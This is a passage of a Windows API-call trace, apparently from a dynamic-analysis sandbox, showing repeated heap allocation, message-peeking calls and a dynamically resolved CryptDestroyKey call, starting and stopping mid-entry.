lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0133.221] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.221] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.221] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.221] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055670 [0133.221] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055670 | out: hHeap=0xe80000) returned 1 [0133.222] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.222] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.222] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0133.222] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.222] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0133.222] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.222] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.222] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.222] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0133.222] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0133.222] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.222] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.223] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0133.223] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.223] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0133.224] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.224] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.224] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.224] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0133.224] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0133.224] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.224] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.224] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0133.224] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.224] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0133.224] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.225] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.225] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.225] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0133.225] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0133.225] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.225] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.225] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0133.225] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.225] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0133.225] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.225] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.225] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.226] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055670 [0133.226] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055670 | out: hHeap=0xe80000) returned 1 [0133.226] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.226] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.226] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0133.226] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.226] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0133.226] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.226] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.226] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.226] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0133.226] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0133.227] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.227] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.227] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0133.227] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.227] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.227] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.227] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0133.227] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.227] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0133.227] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0133.227] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.228] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.228] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016080 [0133.228] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.228] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016080 | out: hHeap=0xe80000) returned 1 [0133.228] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.228] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.228] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.228] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.228] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.228] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.229] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.229] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.229] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.229] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.229] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.229] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0133.229] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.229] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0133.229] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0133.229] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.230] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0133.230] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9bc0 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0133.230] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.230] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0133.230] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0133.230] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.230] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0133.231] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0133.231] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.231] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf318 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0133.231] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0133.231] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.232] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.232] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0133.232] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0133.232] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.232] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0133.232] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.232] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9cb0 [0133.232] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0133.232] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0133.232] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0133.232] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3a8 [0133.232] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0133.232] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0133.232] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.232] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0133.232] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0133.233] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0133.233] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0133.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0133.233] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0133.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1076c28, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0133.233] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0133.233] GetProcAddress (hModule=0x75a50000, lpProcName="CryptDestroyKey") returned 0x75a70400 [0133.233] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0133.233] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.233] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9ad0 [0133.233] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0133.234] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.234] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9ad0 | out: hHeap=0xe80000) returned 1 [0133.234] CryptDestroyKey (hKey=0x1015d40) returned 1 [0133.234] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0133.234] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xefc430 [0133.234] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0133.234] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0133.234] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0133.234] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0133.234] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.234] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0133.235] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.235] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0133.235] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0133.235] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0133.235] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0133.235] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0133.235] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0133.235] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.235] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0133.235] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.235] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9cb0 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0133.236] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9bc0 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077048 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e50 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d070 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ef8 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f40 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9d00 | out: hHeap=0xe80000) returned 1 [0133.237] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefbfd8 | out: hHeap=0xe80000) returned 1 [0133.238] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.238] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.238] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.238] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.238] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.238] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.238] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.238] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b48 [0133.238] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fa0 [0133.238] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0133.238] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0133.239] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fa0 | out: hHeap=0xe80000) returned 1 [0133.239] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0133.239] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.240] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0133.240] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.240] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.240] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.240] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.240] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.240] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.240] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.240] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.241] PeekMessageW (in: 